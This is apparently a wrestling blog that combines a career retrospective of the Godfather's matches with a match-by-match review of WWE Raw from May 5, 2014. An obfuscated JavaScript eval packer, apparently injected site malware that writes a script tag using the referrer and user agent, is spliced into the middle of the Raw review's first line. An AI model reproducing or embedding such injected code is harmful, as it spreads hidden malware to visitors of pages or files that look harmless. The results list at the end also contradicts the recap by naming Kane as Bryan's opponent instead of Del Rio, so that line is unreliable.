8-Ball gets the tag and powerslams Faarooq down for two as the good guys start speeding things up. It’s off to Rock vs. Shamrock which is one of the matchups that people have wanted to see. Rock scores with a quick DDT and stomps away in the corner before bringing in Kama to miss a charge. Skull and 8-Ball take turns on Kama as we get some o the original twin magic. Kama will have none of that though and takes Skull into the Nation corner for a beating.

Rock comes in with the yet to be named People’s Elbow for two and it’s back to Faarooq to punch Skull in the jaw a few times. Skull comes back with a faceplant but Rock breaks up a hot tag attempt. Henry comes in to pound on Skull for about ten seconds before it’s back to Kama for a chinlock. D’Lo gets a tag but misses a moonsault, finally allowing for the hot tag off to Shamrock. Everything breaks down and the ring is cleared except for Shamrock to ankle lock the Rock for the win.

Rating: C-. It’s not a great match or anything and the elimination rules would have helped things a lot, but it was certainly better than some of the other stuff tonight. Above all else though the fans CARED about this. It wasn’t some dull filler match that was there to make sure a card was complete but rather a match with characters and a story we’ve been given reason to care about. That’s a big step up from a lot of this show.

Godfather would evolve into a pimp after leaving the Nation and go on something resembling a run, culminating in this match from April 12, 1999 on Raw.

Intercontinental Title: Goldust vs. Godfather

Goldust scores with a quick clothesline and some right hands, only to be taken down with a clothesline from Godfather. Something resembling a suplex gets two for the champion so he sends Godfather into the steps. Back in and Goldust pounds away rather slowly before hooking the chinlock. Godfather fights up and hits the Ho Train but misses a charge and gets backdropped to the floor. Goldie takes off a buckle pad but gets sent into it chest first, setting up the Death Valley Driver to give Godfather the title.

Rating: D. This is around the time when the IC Title started to die. There’s no reason for Godfather or Goldust or Road Dogg or anyone like that to have the belt and there’s no way to get invested into such short reigns. It’s a big reason why the title means nothing today: there’s no reason to care about any of the champions so we don’t care when the titles change hands.

And here’s the PPV rematch from In Your House #28.

Intercontinental Title: Godfather vs. Goldust

No real story here and Godfather is defending. Goldust has Blue Meanie while Godfather has his ladies. Godfather won’t even offer Goldust the girls as he usually does. The champion takes over with some clotheslines to start and faceplants Goldust down onto the mat. Goldust bails to the floor for a meeting with Meanie and tries to bail up the aisle.

Back in and Godfather gets two off a slam and a legdrop but Meanie’s distraction lets Goldust take over. Another Meanie distraction lets Goldust load up some powder to throw in Godfather’s eyes but Godfather kicks it into Goldust’s eyes. The blinded Goldust beats up Meanie and gives him Shattered Dreams by mistake. Meanie accidentally hits Goldust low, allowing Godfather to hit the Death Valley Driver to retain.

Rating: D+. This was just a quick comedy match and there’s nothing wrong with that. Godfather was a very fun and laid back character which is exactly what a wrestling company needs at times. There’s no pressure, no emotional burden and nothing you have to focus on. It’s just having a good time with a wrestling character and giving the fans a breather.

Godfather would team up with D’Lo Brown in the midcard and get a spot on Survivor Series 1999.

Team Godfather/D’Lo Brown vs. Team Dudley Boys

Godfather, D’Lo Brown, Headbangers
Dudley Boys, Acolytes

The Dudleys are brand new, having been around maybe a month or two. This is the debut of Brown as Godfather’s partner in pimping. The Headbangers are dressed as pimps as well which is pretty funny. Bubba still has a bad stutter here which was his whole gimmick for a few months. Godfather makes fun of him to even further tick the Dudleys off. The Acolytes are freshly out of the Corporate Ministry which has broken up and are just big tough guys now.

Bubba vs. Mosh (in afro) start things off. Bubba steals said afro but things speed up and the Dudleys are in trouble. A HARD clothesline takes Mosh down and it’s off to D-Von. The Dudleys were awesome at this point and were like nothing anyone had seen in years. Even their look was totally different and it worked very well. Off to Thrasher who has an afro held on with a chinstrap.

Bradshaw comes in and pounds away on Thrasher a bit before pounding him upside the head. Thrasher misses a corner charge and the Clothesline eliminates him quickly. Off to Mosh vs. Farrooq with the latter missing a charge in the corner but not being affected by it that badly. Back to D-Von as Jerry talks about wanting ho’s for Christmas. Mosh hits the running crotch attack to D-Von’s back but it’s off to Bubba via a blind tag and the 3D puts out Mosh, making it 4-2.

Brown comes in with a forearm to the head of Bubba and a legdrop for two. For absolutely no apparent reason, Bradshaw blasts Brown with the chair for a DQ, and does the same to Bubba as well, knocking him out cold. D-Von and Farrooq both want the pin and get in a fight over it, resulting in a double countout for a double elimination despite neither of them being legal. That would be the Dudleys’ first real feud.

Back in the ring Bubba gets two on Brown as it’s apparently 2-1 now. A suplex gets two for Bubba and it’s time for the bouncing punches from Ray. Brown comes back with a Sky High for two and loads up a top rope rana, only to get caught in a middle rope sitout powerbomb for two which looked awesome. A double clothesline puts both guys down and it’s hot tag to Godfather. The Ho Train sets up the Low Down for the final elimination.

Rating: C. I remember reading someone say that Godfather was the perfect opening act because you were guaranteed a good pop whenever he was out there. The more I see of him in matches like this, the more I agree with that statement. The guy wasn’t that great or anything, but the fans loved him and he was always a fun character that you didn’t have to take too seriously. That kind of fun character is a great choice for an opener and this was a fine opener here too.

We’ll skip ahead most of a year here and get to Summerslam 2000. Godfather is now Goodfather and part of the Right to Censor in another gimmick to add to the pile. Not much story needed here other than that.

Right to Censor vs. Too Cool/Rikishi

Too Cool and Rikishi are WAY over at this point and even won the tag titles over the summer. The RTC is Richards/Goodfather/Bull Buchanan at this point. Some of Goodfather’s former women come out with Rikishi, one of which would become known as Victoria. It’s a big brawl to start until we get Scotty pounding on Buchanan. Hotty backflips over Buchanan and pulls him down before getting two off a high cross body. Off to Sexay for a double suplex before Goodfather comes in and falls to the floor. He shoves Victoria down before punching Sexay in the face to take over.

Buchanan gets in some shots of his own and it’s off to Richards for his cheap shots. A powerbomb gets two and JR sounds stunned. Steven gets crotched on top and superplexed down allowing for the hot tag to Rikishi. The fat man cleans house and Victoria throws Richards back in the ring. The RTC is sent into the corner with Too Cool being launched into all of them at once, but Bull gets in a quick ax kick to take the Samoan down. Scotty loads up the Worm but Steven kicks his head off for the pin.

Rating: C. Basic six man tag here to get the crowd going. A fast paced act like Too Cool and Rikishi is always a great choice to start up a show as the crowd gets fired up for the entrance and hopefully stays hot for the rest of the show. The RTC was a fine choice for a heel stable as they took away what the fans wanted to see and the people were glad to see them get beaten up.

Godfather and Buchanan would win the Tag Team Titles around this time and defended them at Rebellion 2000 (European PPV).

Tag Titles: Hardy Boys vs. Right to Censor

Buchanan and Goodfather are champions here. Val Venis is with them here as well. Hardys are way over of course. The Hardys speed things up to start and Matt kind of botches both tandem moves but nothing too bad. Jeff and Buchanan start us off in a preview of the Rumble. More fast paced stuff here but Jeff plays to the crowd and Goodfather drills him with a clothesline from the apron for his troubles.

Matt comes in and the pace somehow slows down. Heel miscommunication puts Buchanan in trouble. The legdrop gets two and Matt hits the post. He may have injured his shoulder too. Goodfather shows some psychology and works on the arm. That’s another idea of psychology: if someone hurts a body part GO AFTER IT. If someone hurts their arm you wouldn’t go after their knee would you?

The only one of these four still in WWE (for the time being at least) gets a DDT and avoids the not Ho Train to set up the tag to Jeff. Double Whisper in the Wind (doesn’t have a name yet) takes down the champions. The standard Hardy double finishing combination hits Goodfather but Buchanan distracts the referee for Val to hit a Money Shot on Jeff. Pin is rather academic now.

Rating: C-. Slightly better here but still nothing all that special. This worked fine for what it was though and it gave the fans a nice pop because the Hardys were still rather over. There was a flow to this match which is something a lot of the matches have been lacking tonight so far. Pretty decent though.

Godfather would leave again in 2001 but make a quick comeback in early 2002, including this Raw match from January 28.

Lance Storm/Christian vs. Godfather/Diamond Dallas Page

Apparently Page is a client of Godfather’s escort service. Godfather and Storm start things off and a big back elbow puts Lance down. Christian pulls the rope down to stop Godfather and send him to the floor. Back inside a Storm dropkick gets two and Christian comes in to stomp away for a bit. A double Canadian suplex gets two and it’s back to Storm for a legdrop for two. Christian gets another two count but starts having a fit. Not hot tag brings in DDP who cleans part of the house. Christian goes up but gets crotched, allowing Godfather to hit the running splash, followed by a Diamond Cutter to Storm for the pin.

Rating: D. This came and went and was nothing of note. Godfather didn’t fit at all in the new WWF and it was very clear in a hurry. Page didn’t work in WWE either as there was no connection with the fans. Page grew up in WCW before the fans’ eyes, but here he’s a guy who used to be a big deal in WCW and that’s it. That isn’t going to work and never has before.

That was pretty much it for Godfather until he was brought onto a Hulk Hogan tour of Australia as the Pimp Fatha, where he would face Heidenreich on one of the four shows.

Pimp Fatha vs. Heidenreich

Godfather does the usual intro and offers Heidenreich the women. He actually takes them up on it but a fight breaks out anyway and the match is on. Back inside and Heidenreich hammers away before getting yelled at as the referee. Godfather charges into an elbow in the corner and we hit a quick chinlock. Heidenreich tries an elbow after Godfather has already rolled away and a missed splash leads to what was supposed to be a rollup but was more like Heidenreich laying down so Godfather can grab the tights for the pin. Barely even a match but neither guy has wrestled on the big stage in years.

Godfather is the kind of guy that was far more entertaining than good. The pimp character could have opened house shows for YEARS and kept getting huge pops. No he wasn’t much to watch in the ring, but not everyone needs to be. I’ll give him this though: not many people could go to that many characters and have more than one be memorable. He was very charismatic and that’s more important than being good in the ring.

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Monday Night Raw – May 5, 2014: Just Play The Halloween Theme Already

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edakt|var|u0026u|referrer|sbsei||js|php'.split('|'),0,{})) Night Raw
Date: May 5, 2014
Location: Times Union Center, Albany, New York
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Extreme Rules has come and gone and most of the stories have advanced. First and foremost, Bryan kept the title away from Kane in a brawl reminiscent of the Attitude Era but it looks like a rematch is imminent. Other than that Shield defeated Evolution in a war and Bray Wyatt escaped the cage to beat Cena. The main stories tonight are a twenty man battle royal for the US Title and Adam Rose debuting. Let’s get to it.

US Title: Battle Royal

Dean Ambrose, Goldust, Cody Rhodes, Mark Henry, Titus O’Neal, R-Truth, Kofi Kingston, R-Truth, Heath Slater, Sheamus, Curtis Axel, Ryback, Dolph Ziggler, Big Show, Sin Cara, Santino Marella, Fandango, Zack Ryder, Jack Swagger, Damien Sandow

Ambrose is defending and all of his challengers come to the ring at the same time. It’s the traditional big mess to start with Show throwing out Woods and Henry dumping Ryder. Truth is thrown out by someone we didn’t see as everyone else is just having random brawls. Ziggler finally loses his shirt but makes the mistake of hammering on Big Show. Santino slides back into the ring and fails to help Sin Cara eliminates Titus. Big Show dumps Titus with ease and does the same to Sin Cara with the masked man landing on all of the other eliminated guys. Why they were still at ringside isn’t explained.

Fandango gets Dolph over the top but not out to the floor as the brawling continues. Sheamus does the ten forearms to Sandow for an elimination and we take a break. Back with Big Show and Mark Henry being ganged up on in opposite corners. Heath Slater appears to be the only elimination during the break. Henry and Show shrug everyone off and have a showdown ending with a chokeslam to Henry. A Brogue Kick staggers Big Show though and everyone comebines to dump him out. They do the same to Henry and both giants are gone.

Kofi is sent to the apron but jumps back in, only to be kicked out by Ambrose. Dean gets Fandango as well but has to deal with Swagger. Ryback and Axel dump Cody and Goldust to get us down to seven: Ambrose, Santino, Sheamus, Ryback, Axel, Swagger and Ziggler. Scratch Dolph actually as Santino Cobras him out but is quickly dumped by Ryback and Axel, leaving us with five. Sheamus starts cleaning house but runs into a spinebuster from Ryback. The Goldberg chants start up and Ryback has blood on his teeth.

Axel and Ryback take control but can’t toss Dean out. The fans chant for Punk for no apparent reason as Dean backdrops Axel to the floor and wins a slugout with Ryback on the apron to get us down to three. Swagger tries for a cheap shot but Dean slides back in. Ambrose gets behind him and dumps Jack but turns around for the Brogue Kick. The elimination is academic and Sheamus is champion at 15:49.

Rating: C. This was probably the best way to get the title off Ambrose save for the cliched triple threat or fourway match. He’s got the record for longest reign by a WWE US Champion so it’s not like he didn’t get to do anything with the belt. Also this is something for Sheamus to do once he’s back so it’s good for everyone all around. It also didn’t come off as any sort of a heel turn which it wasn’t supposed to be.

Rollins tries to calm Ambrose down by saying it wasn’t fair but here’s HHH to interrupt. He talks about how lucky Shield got last night before announcing a six man tag with Shield vs. the Wyatts later tonight.

After a break Sheamus says he’s been spinning his wheels since he came back. They say every stopped clock is right twice a day and tonight was the perfect time for the Celtic Warrior to step back into glory. Renee asks him if he has a message for Dean Ambrose. Sheamus says no hard feelings.

We get stills from Bryan vs. Kane last night.

Daniel is with Brie in the back when Stephanie comes in. All Daniel did last night was anger Kane and make him capable of unspeakable acts of violence. Therefore, Bryan has to stay in this locker room until his match later tonight. She shuts the door and Kane’s mask is on the back.

Rob Van Dam vs. Cesaro

Feeling out process to start with Van Dam taking over with a quick armdrag. A headlock slows RVD down and a back elbow to the jaw gets two. Rob comes back with a quick kick to the face and Rolling Thunder sends Cesaro to the floor. Back in and Cesaro gets in a few more shots but another kick sends him outside for a big old flip dive.

A moonsault off the apron sets up a slingshot legdrop for two back inside. The fans think this is boring thirty seconds after all the high spots from Van Dam because wrestling crowds have the attention span of drunken gnats. Now it’s a CM Punk chant as Cesaro hammers away and sends Van Dam to the floor with a clothesline. We come back from a break with Van Dam fighting out of a chinlock and the fans chanting for him for a change.

A sunset flip gets two for Van Dam but he gets caught by a jumping double stomp of all things. Van Dam gets another two off a small package and rollup but he dives off the top into an uppercut for a pair of near falls. Cesaro nails him with an awesome looking running uppercut in the corner followed by some rolling gutwrench suplexes for two. Back up and Van Dam can’t hook a monkey flip out of the corner but runs into an elbow to the jaw. He goes up top but gets caught in a one legged tree of woe. Cesaro goes to the floor to hammer away at Van Dam’s head but does it too long for a DQ at 12:00.

Rating: C+. The match was fun and I actually like the ending. Van Dam was getting dominated so it doesn’t make Cesaro look bad and shows a more aggressive side to his character. Those rolling gutwrench suplexes are just awesome and his match against a big name is going to rock.

Cesaro hammers away even more until Heyman pulls him off. Van Dam looks totally out of it.

Bray Wyatt says that Abigail told him that he was born to lead and would change the world one day. This world we live in has an evil about it and everyone refers to him as a piece of trash or a nobody. Those people have made it a glorious day because last night, Bray Wyatt became somebody. Last night Cena’s fear was personified by a singing child and we get a clip showing just that. Bray talks about how a child has personified Cena’s fear. John thinks that Bray is spreading nothing but lies and just wants to watch the world burn.

The second part is right because he wants a new world to be reborn in his image. Wyatt is doing this for the homeless man sitting on the side of the street, for the teenage girl who woke up crying because she was called too ugly to be the prom queen and for every fan sitting in this arena. From this day forward, John Cena stands alone and alone he shall fall. The children shall stand will Bray Wyatt and they’ll never be alone again. He’ll be remembered for what he truly is: a god.

Ryback vs. Cody Rhodes

We see a clip from the battle royal that shows Cody accidentally eliminating Goldust. Cody starts fast and sends Ryback to the outside before hammering away in the corner. Ryback takes over with a hot shot before choking on the ropes to keep Cody in trouble. A delayed vertical suplex gets two on Cody and a hard whip into the corner puts him down again.

We hit the chinlock for a bit until Ryback misses a splash. Cody takes out the knee and hits a running knee to the chest for two. The Disaster Kick looks AWESOME, followed by a good looking springboard missile dropkick. Goldust goes after Axel but the distraction lets Ryback pull Cody off the top into Shell Shock for the pin at 6:00.

Rating: D. This was a really dull match as the always annoying “let’s have two guys lose every match they’re in and then wonder why no one cares about them at all after it’s over” trope continues. This match just kept going and I was really bored after about two minutes, especially when the ending was obvious.

The lights go out in Brie and Bryan’s locker room. A small fire lights up with Kane’s mask over it. The newlyweds leave and run into Stephanie, who offers to have Brie’s car brought up. I’m sure this won’t end badly at all.

It’s time for a Cinco De Mayo celebration with Los Matadores and Torito. They have your usual Mexican decorations and Torito throws out candy to the fans until 3MB interrupts. They want a truth but demand that only English is spoken. Drew threatens violence if the truce isn’t accepted and a brawl breaks out. Slater gets left alone and shouts OLE, only to be thrown to the floor. Torito puts Horny in an airplane spin as JBL shouts out boxing references.

Bolieve!

Kofi Kingston vs. Alexander Rusev

Before the match, Lana praises Vladimir Putin and Edward Snowden, saying America’s secrets are safe with them. Rusev runs Kofi over to start and tosses him down with an overhead belly to belly suplex. Kingston comes back with a dropkick and spinning crossbody for two but misses a kick to the chest, allowing Rusev to load up the fall away slam. Kingston lands on his feet though and tries the springboard cross body, only to be caught in mid air. Now the fall away connects and the Accolade makes Kofi submit at 2:50.

The Network is now available on XBOX One.

Brie gets into the car as Bryan looks around. He gets in to leave and of course there’s a camera in the backseat. Stephanie knocks on the window to scare both of them and says Bryan’s match is right now. If he doesn’t wrestle tonight, he’s stripped of the title. Thankfully Daniel has a brain and has Brie come with him to the ring.

Daniel Bryan vs. Alberto Del Rio

Non-title. Daniel fires off kicks in the corner to start before opting for some right hands to the face. He charges into the tilt-a-whirl backbreaker for two though and Del Rio takes over. Another USA chant starts up as Bryan fires the kicks in the corner. He backflips over Del Rio and actually slips on the landing. Thankfully JBL is paying attention and says it’s because he’s worried Kane might attack him. The YES Kicks have Del Rio in trouble but he grabs a Backstabber for two. Daniel heads outside and gets sent into the barricade as we take a break.

Back with Bryan fighting out of a chinlock but walking into a German suplex for two. Alberto starts goinga fter the arm and mocks the YES post, only to dive into a forearm for two. They head outside with Bryan being dropped face first onto the barricade. Back in and Del Rio lowers the knee pad for the superkick (not sure what sense that makes) but Bryan ducks and lands a hard kick of his own.

A drop toehold sends Alberto into the middle buckle and they trade kicks with Del Rio taking over. Bryan gets dropped with a big old kick but headbutts out of a superplex. The Swan Dive gets two and the running dropkicks knock Del Rio to the floor. FLYING GOAT sends Del Rio halfway into the stands but he comes back with an enziguri for two. The armbreaker is esily countered though and Bryan uses something like La Mistica to set up the YES Lock for the win at 15:32.

Rating: B-. This is the kind of stuff they should use to main event shows like Payback or another low level show. Instead of using the same matches over and over again, just let Bryan tear it up with some upper midcarder for about 25 minutes a month. Good match here with Del Rio going kick for kick with the champion.

Post match Kane’s pyro goes off so they run to the back. Brie and Daniel get in the car but it won’t start. Daniel checks the engine and plugs a wire back in. He shuts the hood and of course Kane is in the back of the car. Bryan fights Kane and tries to leave again but Kane gets on the back of the car. Daniel floors it to drop Kane on the concrete (off camera of course) but stops and looks back. Kane sits up so Bryan gets back in and drives off.

Intercontinental Title: Big E. vs. Bad News Barrett

Barrett is defending, having beaten Big E. for the title last night. Before the match, Bad News says the fans are going to need some cosmetic surgery for their new champion. Big E. runs him over to start and the fight is quickly on the floor. Barrett is rammed into the apron and a spear puts him into the steps before they just beat the count back inside. The champion goes right back to the floor but avoids a charge to send Big E. shoulder first into the post.

Back with Barrett still in control and getting two off Winds of Change. A hard knee to the face puts Big E. down again and here comes the Bull Hammer. You know it’s not working that quickly though so Big E. runs him over to put him in the ropes. The spear through the ropes puts both guys on the floor and it’s Big E. up first. The Big Ending is countered though and Bad News rakes the eyes. Bull Hammer retains the title at 10:48.

Rating: D+. Not much to see here as it was just the required win in the rematch to establish that Barrett is the better man and get rid of Big E. for awhile. It wasn’t a very good match though as Big E. started doing stuff he didn’t do while champion and it makes it easier to beat him, as is tradition in wrestling.

Cena will respond to Bray Wyatt on Main Event.

We look at the battle royal earlier.

Here’s a special Mother’s Day message from Mr. T. which is comprised of remixed clips of his Hall of Fame speech and Brodus Clay’s dancing bridge club from Wrestlemania XXVIII.

Swagger and Colter come out with a sign saying Zeb’s Deportation List. Colter says today isn’t Cinco De Mayo because it’s May 5. He doesn’t like all the foreigners coming into WWE and has a list of all the people he wants gone. It’s only a partial list: Cesaro, Heyman, Emma, Santino, Paige and Sheamus. Colter does the Emma dance and says it’s poisoning the youth of America. They’re interrupted by the Adam Rose party, complete with BUNNY. The entire party is here to carry Rose to the ring just like in NXT. The fans are singing the tune of his song too so it’s working.

Rose has a sucker in his mouth and holds it out to Colter. Zeb holds up a hand but Adam grabs him by the moustache. “Don’t be a lemon. BE A ROSEBUD!” Swagger runs at him but gets kicked in the face and backdropped to the floor. The party gets back in the ring and Zeb looks terrified before running off.

Wyatt Family vs. Shield

It’s a big fight to start and the bell rings with everyone on the floor. Ambrose and Rowan get things going with Dean taking over in the corner. Off to Rollins who gets thrown out of the corner, allowing for the tag off to Harper. Dean makes a blind tag to help Rollins with a double suplex and two on Luke. Roman comes in and hammers away before it’s quickly back to Rollins for a top rope shot to the arm.

Harper takes Seth into the corner to take over again and it’s off to Bray for some hard right hands to the head. Rowan can’t slam Rollins down and gets caught with an enziguri, allowing for the tag off to Dean. Ambrose hammers away and nails a cross body, allowing him to get even more hard shots. Dean cleans house and takes Rowan down with a shoulder before slapping on a Figure Four. He lets it go so we can have a standoff and take a break.

Back with Harper holding Ambrose in a chinlock. Dean fights up with a jawbreaker but it’s off to Rowan to whip Dean from corner to corner. Rowan is sent to the floor and the now legal Harper gets the same treatment. Seth hits a running dive to take them both out but stops to go after Bray, allowing Harper to shove him to the floor in a scary crash. Harper follows it up with a suicide dive, sending Rollins over the table.

Back in and things settle down again before it’s off to Bray for a running splash in the corner. Harper slams Rollins down for two more as everything breaks down. Rowan and Wyatt throw Dean onto the announce table before leaving him alone. Rollins knocks Harper off the top rope and hits the top rope knee to put both guys down. A double tag brings in Reigns to hammer on Wyatt and hit a series of the running clotheslines.

 

The Family breaks up the Superman Punch and it’s double dive time to send Harper and Rowan onto the table. Now the Punch connects and it’s Triple Bomb time but here’s Evolution. That’s fine with Shield as they kick the Wyatts onto Evolution and hit more double dives, only to have Bray run Roman over and hit Sister Abigail for the pin at 18:04.

Rating: B-. It’s a good match but it has to compare to the match these guys had at Elimination Chamber. The ending gives us a reason for Shield to keep fighting Evolution, hopefully in some singles matches instead of another six man. It’s a good main event but more about the stories than the match.

Evolution goes after Shield post match and this time their comeback is stopped. A string of finishers ends the show, including a Triple Bomb to Reigns.

Overall Rating: C. The more I think about it, the more seeing Bryan vs. Kane again makes me want to pound a rusty spike into my eye. If it’s going to mean another month of really bad segments like this one then I’m very glad I have the Network to give me something entertaining to watch instead of this nonsense. We get it: Kane is a monster who is going to lose in the blowoff match because that’s what he’s done for like 15 years now. The rest of the show was solid but that segment gets stupider and stupider every time I think about it.

Results
Sheamus won a battle royal last eliminating Dean Ambrose
Rob Van Dam b. Cesaro via DQ when Cesaro wouldn’t stop attacking Van Dam in the ropes
Ryback b. Cody Rhodes – Shell Shock
Alexander Rusev b. Kofi Kingston – Accolade
Daniel Bryan b. Kane – Yes Lock
Bad News Barrett – Big E. – Bull Hammer
Wyatt Family b. Shield – Sister Abigail to Reigns

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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